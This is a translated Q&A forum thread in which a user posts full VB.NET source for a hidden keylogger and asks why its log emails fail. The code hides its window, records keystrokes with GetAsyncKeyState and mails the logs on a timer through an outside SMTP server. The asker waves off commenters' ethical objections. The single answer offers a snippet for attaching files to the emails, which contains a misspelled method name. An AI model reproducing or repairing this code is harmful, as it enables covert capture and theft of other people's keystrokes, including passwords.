【问题标题】:SMTP MalfunctionSMTP 故障
【发布时间】:2016-03-13 01:03:34
【问题描述】:

今天我的程序有问题。所以基本上,它应该做的是收集用户的击键并将其发送到我的电子邮件。出于安全考虑,我的电子邮件和密码已被覆盖。

代码

Option Strict On
Imports System.Net.Mail
Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
    Try
        Dim smtpserver As New SmtpClient
        smtpserver.EnableSsl = True
        Dim mail As New MailMessage
        smtpserver.Credentials = New Net.NetworkCredential("a******@live.com.au", "*********")
        smtpserver.Port = 587
        smtpserver.Host = "smtp.live.com"
        mail = New MailMessage
        mail.From = New MailAddress("a******@live.com.au")
        mail.To.Add("a******@live.com.au")
        mail.Subject = ("New keylogger logs!")
        mail.Body = txtLogs.Text
        smtpserver.Send(mail)
    Catch ex As Exception
        Me.Close()
    End Try
End Sub

Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick
    Dim result As Integer
    Dim key As String = ""
    Dim i As Integer

    For i = 2 To 90
        result = 0
        result = GetAsyncKeyState(i)
        If result = -32767 Then
            key = Chr(i)
            If i = 13 Then key = vbNewLine
            Exit For
        End If
    Next i

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            txtLogs.Text &= key
        Else
            txtLogs.Text &= key.ToLower
        End If
    End If

    If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "h" Then
        Me.Visible = True
    End If
End Sub

Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
    txtLogs.Text &= vbNewLine & "Keylogger stopped at:    " & Now & vbNewLine
End Sub

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.ShowInTaskbar = False
    Me.ShowIcon = False
    Me.Visible = False
    txtLogs.Text = txtLogs.Text + "keylogger started at: " & Now & vbNewLine


End Sub
End Class

它只是发送电子邮件中的日志而不是发送日志

在...收到的键盘记录

我正在为我的程序使用 .Net framework 3.5。

可能是什么问题?

【问题讨论】:

  • 旁白:“出于安全目的,我的电子邮件和密码已被覆盖” -- 实际上,出于安全目的,您也应该成为键盘记录用户.
  • @Abhitalks 实际上政策是“只要问题扩展知识”它是合适的。另外,我使用它的目的是无关紧要的。
  • 我同意@Abhitalks 但除此之外,您是否尝试调试并查看发生了什么?
  • @Ahmedilyas 是的,我从调试中恢复过来的一切都没有异常,一切运行顺利。

标签: .net vb.net smtp smtpclient


【解决方案1】:

首先让我在上面粘贴的代码中说明您的问题,您尝试将“文件”作为正文发送,这不是您发送附件示例的方式。

Dim SMTP_Attachment as system.net.mail.attachment
SMTP_Attachment = new system.net.mail.attachment("Path to file")
smtpserver.attahcment.add(SMTP_Attachment)

【讨论】:

    猜你喜欢
    • 2017-11-08
    • 1970-01-01
    • 1970-01-01
    • 2018-12-26
    • 2016-09-09
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多